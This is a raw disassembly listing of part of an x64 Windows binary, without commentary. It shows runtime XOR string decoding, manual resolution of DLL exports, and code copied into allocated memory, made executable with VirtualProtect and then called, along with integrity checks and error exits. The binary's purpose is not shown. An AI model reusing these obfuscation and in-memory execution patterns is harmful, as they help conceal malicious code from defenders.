mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140026bcb
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400ea9a0]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400ea840]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xeda8
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x4bb484fc18
cmp r9, rax
jb 0x140026c67
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140096588
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x14010cdb0], r14
jne 0x140026d35
mov ecx, 0x26b0
call fcn.14009ae4c
test rax, rax
je 0x140026d35
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x14010cdb0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400eaa50]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140030d8c
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x140026d74
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x14010cdb0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140026e90
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026e48
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.14009ae4c
mov rsi, rax
test rax, rax
je 0x140026e8d
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14010cdb0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b9040
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
mov qword [0x14010cdb0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140030ca4
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140026eb1
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x14010cdb0]
test rbx, rbx
je 0x140026fbb
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026f75
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009ae4c
mov rsi, rax
test rax, rax
je 0x140026fb8
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14010cdb0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b9040
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
mov qword [0x14010cdb0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140027048
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027048
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027048
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027048
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140027048
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002703b
inc rax
test edi, edi
jne 0x140027026
test r8d, r8d
je 0x1400270bf
inc rdx
cmp rdx, rsi
jb 0x140027015
mov esi, r14d
mov rdi, qword [0x14010cdb0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x140027294
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140027281
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140027281
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140027246
xor edx, edx
call fcn.1400b96e0
jmp 0x14002727f
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027048
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x1400270e3
xor r14d, r14d
jmp 0x140027048
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14008f5c0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140031868
lea rcx, [rbp + 0x87b0]
call fcn.140030e00
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.140030e00
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002715a
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400b9040
mov dword [0x1401032a4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1401032a0]
movsd qword [rdi], xmm0
movzx eax, word [0x1401032a8]
mov word [rdi + 8], ax
mov al, byte [0x1401032aa]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1020]
lea r8d, [r14 + 3]
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1401032a4], r14d
jmp 0x14002704b
cmp al, 1
jne 0x140027281
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.1400315d0
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140031784
lea rcx, [rbp + 0x1168]
call fcn.140031714
lea rcx, [rbp + 0x1168]
call fcn.140011558
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140027074
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
xor r15d, r15d
mov qword [0x14010cdb0], r15
test esi, esi
js 0x14002f740
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14002f740
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14009ae4c
test rax, rax
je 0x1400272f7
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x14010cdb0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400eaa50]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140030d8c
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14002733a
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x14010cdb0]
test rbx, rbx
je 0x140027461
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002740d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009ae4c
mov rsi, rax
test rax, rax
je 0x140027454
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14010cdb0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b9040
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
mov qword [0x14010cdb0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140027457
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140030ca4
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140027478
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x14010cdb0]
test rbx, rbx
je 0x140027587
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14002753f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009ae4c
mov rsi, rax
test rax, rax
je 0x140027584
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14010cdb0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b9040
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
mov qword [0x14010cdb0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140027587
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140027618
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140027618
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140027618
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140027618
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140027618
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027607
inc rax
test edi, edi
jne 0x1400275f2
test r8d, r8d
je 0x140027696
inc rdx
cmp rdx, rsi
jb 0x1400275e1
mov esi, r15d
mov rdi, qword [0x14010cdb0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140027866
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x140027853
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140027853
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x140027819
xor edx, edx
mov rcx, rax
call fcn.1400b96e0
jmp 0x140027853
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140027618
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140027618
cmp cl, 1
jne 0x140027853
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.1400315d0
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140031784
lea rcx, [rbp + 0x1148]
call fcn.140031714
lea rcx, [rbp + 0x1148]
call fcn.140011558
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140027648
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b96e0
mov rcx, rdi
call fcn.14009ad28
mov qword [0x14010cdb0], r13
test esi, esi
js 0x14002f5a7
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14002f5a7
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140027916
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x14002798f
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x140027971
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140027a2f
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x140027a9d
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0xe0
mov r10, r13
movabs rbx, 0x11d01f4a6
movabs rsi, 0x8080808080808081
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r14, 0x11d01f4a5
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002f5fb
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400ea9d0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x6e9ba23
mov dword [rbp + 0x96c], 0xa698b72c
mov dword [rbp + 0x970], 0x64e8f1a7
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x1f2c36c228
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3e586d8450
cmp r9, rax
jb 0x14002f6a6
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0xe0
mov r10, r15
movabs rbx, 0x11d01f4a6
movabs rsi, 0x8080808080808081
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r14, 0x11d01f4a5
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002f794
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400ea7d0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xe1904466
mov word [rbp + 0x754], reloc.WLDAP32.dll_Ordinal_45
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x176129119e
movabs r10, 0x2ec252233c
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14002f838
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140096588
int3
cmp rax, rbx
jne 0x14002f973
mov rax, qword gs:[0x21]
movabs rcx, 0xcd279c6c79f9294c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f953
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f953
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f973
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0xe0
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r15, 0x11d01f4a5
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002f9bd
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400eaa70]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x22d251f
mov dword [rbp + 0x82c], 0xa485c9
mov r8, r14
movabs r9, 0x199b2cfaea
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x333659f5d4
cmp r9, rax
jb 0x14002fa60
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x44]
cmp rax, rbx
jne 0x14002fba4
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x2e0a2f32
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fb84
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fb84
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fba4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, rbx
jne 0x140030253
mov rax, qword gs:[0x21]
mov esi, 0x4a79d2f6
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fc37
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fc37
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030253
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xe0
mov r10, r14
movabs rbx, 0x8080808080808081
movabs r8, 0x12ed213f06
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x25da427e0c
movabs r13, 0x11d01f4a5
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002fca1
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400ea850]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xe8944043
